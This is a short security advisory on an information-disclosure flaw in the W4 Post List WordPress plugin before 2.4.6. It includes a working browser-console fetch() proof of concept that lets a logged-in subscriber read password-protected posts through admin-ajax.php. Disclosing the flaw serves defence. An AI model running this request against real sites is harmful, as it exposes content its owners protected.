W4 Post List < 2.4.6 - Subscriber+ Password Protected Post Content Disclosure

The plugin does not ensure that password protected posts can be accessed before displaying their content, which could allow any authenticated users to access them

PoC

Setup: Create a default Post list, and create a password protected post with secret content Then, run the below command in the developer console of the web browser while being on the blog as a subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[postlist listId=‘1’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display the content of the password protected post